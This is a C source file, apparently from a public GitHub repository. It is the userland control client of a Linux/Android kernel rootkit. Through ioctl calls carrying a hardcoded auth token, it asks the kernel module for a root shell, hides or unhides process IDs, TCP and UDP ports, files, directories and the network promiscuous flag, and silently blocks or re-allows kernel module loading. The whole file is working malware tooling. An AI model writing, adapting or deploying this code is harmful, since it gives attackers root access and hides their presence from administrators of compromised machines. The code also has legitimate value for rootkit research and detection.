-
Notifications
You must be signed in to change notification settings - Fork 211
/
sock.c
283 lines (216 loc) · 6.9 KB
/
sock.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <unistd.h>
#define AUTH_TOKEN 0x12345678
#define SHELL "/bin/sh" // Linux
//#define SHELL "/system/bin/sh" // Android
struct rk_proc_args {
unsigned short pid;
};
struct rk_port_args {
unsigned short port;
};
struct rk_file_args {
char *name;
unsigned short namelen;
};
struct rk_args {
unsigned short cmd;
void *ptr;
};
int main ( int argc, char *argv[] )
{
struct rk_args rk_args;
struct rk_proc_args rk_proc_args;
struct rk_port_args rk_port_args;
struct rk_file_args rk_file_args;
int sockfd;
int io;
sockfd = socket(AF_INET, SOCK_STREAM, 6);
if(sockfd < 0){
perror("socket");
exit(1);
}
switch ( atoi(argv[1]) )
{
case 0:
printf("Dropping to root shell\n");
rk_args.cmd = 0;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
execl(SHELL, "sh", NULL);
break;
case 1:
{
unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Hiding PID %hu\n", pid);
rk_proc_args.pid = pid;
rk_args.cmd = 1;
rk_args.ptr = &rk_proc_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 2:
{
unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Unhiding PID %hu\n", pid);
rk_proc_args.pid = pid;
rk_args.cmd = 2;
rk_args.ptr = &rk_proc_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 3:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Hiding TCPv4 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 3;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 4:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Unhiding TCPv4 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 4;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 5:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Hiding TCPv6 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 5;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 6:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Unhiding TCPv6 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 6;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 7:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Hiding UDPv4 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 7;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 8:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Unhiding UDPv4 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 8;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 9:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Hiding UDPv6 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 9;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 10:
{
unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0);
printf("Unhiding UDPv6 port %hu\n", port);
rk_port_args.port = port;
rk_args.cmd = 10;
rk_args.ptr = &rk_port_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 11:
{
char *name = argv[2];
printf("Hiding file/dir %s\n", name);
rk_file_args.name = name;
rk_file_args.namelen = strlen(name);
rk_args.cmd = 11;
rk_args.ptr = &rk_file_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 12:
{
char *name = argv[2];
printf("Unhiding file/dir %s\n", name);
rk_file_args.name = name;
rk_file_args.namelen = strlen(name);
rk_args.cmd = 12;
rk_args.ptr = &rk_file_args;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
case 13:
printf("Hiding network PROMISC flag\n");
rk_args.cmd = 13;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
break;
case 14:
printf("Unhiding network PROMISC flag\n");
rk_args.cmd = 14;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
break;
case 15:
printf("Enabling module loading\n");
rk_args.cmd = 15;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
break;
case 16:
printf("Silently prohibiting module loading\n");
rk_args.cmd = 16;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
break;
case 17:
printf("Silently re-permitting module loading\n");
rk_args.cmd = 17;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
break;
case 100:
{
printf("Null command\n");
rk_args.cmd = 100;
io = ioctl(sockfd, AUTH_TOKEN, &rk_args);
}
break;
default:
{
struct ifconf ifc;
printf("No action\n");
io = ioctl(sockfd, SIOCGIFCONF, &ifc);
}
break;
}
if(io < 0){
perror("ioctl");
exit(1);
}
return 0;
}